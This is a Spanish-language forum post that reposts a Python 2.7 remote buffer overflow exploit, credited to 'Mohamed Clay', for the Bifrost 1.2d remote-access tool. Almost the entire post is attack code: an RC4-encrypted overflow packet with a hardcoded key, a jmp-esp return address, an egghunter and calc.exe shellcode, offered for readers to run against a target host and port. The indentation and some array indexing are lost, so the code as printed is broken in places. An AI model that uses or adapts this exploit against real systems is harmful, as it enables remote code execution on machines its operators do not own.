Locked Bifrost 1.2d - Remote Buffer Overflow

[M1CR0B10]

Hey banda qué tal ?

Les aporto algo qué encontré en exploit-db.com

 

 

 

Aquí les dejo el codigo está escrito en Python así que deberan tenerlo instalado

Sin más :tongue:

 

 

 

 

 

#!/usr/bin/python2.7

#By : Mohamed Clay

import socket

from time import sleep

from itertools import izip, cycle

import base64

import threading

import sys

 

def rc4crypt(data, key):

x = 0

box = range(256)

for i in range(256):

x = (x + box + ord(key[i % len(key)])) % 256

box, box[x] = box[x], box

x = 0

y = 0

out = []

for char in data:

x = (x + 1) % 256

y = (y + box[x]) % 256

box[x], box[y] = box[y], box[x]

out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))

 

return ''.join(out)

 

def bif_len(s):

while len(s)<8:

s=s+"00"

return s

 

def header(s):

a=(s[0]+s[1]).decode("hex")

a+=(s[2]+s[3]).decode("hex")

a+=(s[4]+s[5]).decode("hex")

a+=(s[5]+s[6]).decode("hex")

return a

 

def random():

a=""

for i in range(0,8):

a+="A"*1000+"|"

return a

 

 

def exploit():

s.sendall(out)

 

def usage():

 

print "\n\n\t***************************"

print "\t* By : Mohamed Clay *"

print "\t* Bifrost 1.2d Exploit *"

print "\t***************************\n"

print "\t Usage : ./bifrost1.2.1 host port"

print "\tExample : ./bifrost1.2.1 192.168.1.10 81\n\n"

 

 

if len(sys.argv)!=3:

usage()

exit()

 

HOST=sys.argv[1]

PORT=int(sys.argv[2])

 

key="\xA3\x78\x26\x35\x57\x32\x2D\x60\xB4\x3C\x2A\x5E\x33\x34\x72\x00"

 

xor="\xB2\x9C\x51\xBB" # we need this in order to bypass 0046A03E function

eip="\x53\x93\x3A\x7E" # jmp esp User32.dll

 

egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

 

#calc.exe shellcode (badchars "\x00")

 

buf ="\xb8\x75\xd3\x5c\x87\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9"

buf +="\xb1\x33\x31\x43\x12\x83\xeb\xfc\x03\x36\xdd\xbe\x72\x44"

buf +="\x09\xb7\x7d\xb4\xca\xa8\xf4\x51\xfb\xfa\x63\x12\xae\xca"

buf +="\xe0\x76\x43\xa0\xa5\x62\xd0\xc4\x61\x85\x51\x62\x54\xa8"

buf +="\x62\x42\x58\x66\xa0\xc4\x24\x74\xf5\x26\x14\xb7\x08\x26"

buf +="\x51\xa5\xe3\x7a\x0a\xa2\x56\x6b\x3f\xf6\x6a\x8a\xef\x7d"

buf +="\xd2\xf4\x8a\x41\xa7\x4e\x94\x91\x18\xc4\xde\x09\x12\x82"

buf +="\xfe\x28\xf7\xd0\xc3\x63\x7c\x22\xb7\x72\x54\x7a\x38\x45"

buf +="\x98\xd1\x07\x6a\x15\x2b\x4f\x4c\xc6\x5e\xbb\xaf\x7b\x59"

buf +="\x78\xd2\xa7\xec\x9d\x74\x23\x56\x46\x85\xe0\x01\x0d\x89"

buf +="\x4d\x45\x49\x8d\x50\x8a\xe1\xa9\xd9\x2d\x26\x38\x99\x09"

buf +="\xe2\x61\x79\x33\xb3\xcf\x2c\x4c\xa3\xb7\x91\xe8\xaf\x55"

buf +="\xc5\x8b\xed\x33\x18\x19\x88\x7a\x1a\x21\x93\x2c\x73\x10"

buf +="\x18\xa3\x04\xad\xcb\x80\xfb\xe7\x56\xa0\x93\xa1\x02\xf1"

buf +="\xf9\x51\xf9\x35\x04\xd2\x08\xc5\xf3\xca\x78\xc0\xb8\x4c"

buf +="\x90\xb8\xd1\x38\x96\x6f\xd1\x68\xf5\xee\x41\xf0\xd4\x95"

buf +="\xe1\x93\x28"

 

 

raw=(1000-533-len(egghunter))*"\x90"

raw2=(1000-8-len(buf))*"\x41"+"|"

command=30

 

 

tmp=hex(command).split("0x")[1]

data=tmp.decode("hex")+"F"*2+" "*511+xor+"C"*12+eip+"A"*8+egghunter+raw+"|"+" "*1000+"|"+"w00tw00t"+buf+raw2+random()

out=rc4crypt(data,key)

l=header(bif_len(str(hex(len(data))).split("0x")[1]))

out=l+out

 

 

data2="2192.168.1.1|Default|Mohamed Clay|Mohamed Clay|p1.2d||0|-1|0|0000|0|1|0|0|000000|C:\|C:\|C:\|MA|00000000|BifrosT v1.2d|"

out2=rc4crypt(data2,key)

l=header(bif_len(str(hex(len(data2))).split("0x")[1]))

out2=l+out2

 

th = threading.Thread(name='exploit', target=exploit)

th.setDaemon(True)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.sendall(out2)

th.start()

s.recv(1024)

print "\n[*] By : Mohamed Clay"

print "[*] Exploit completed\n"

 

 

Saludos hasta la proxima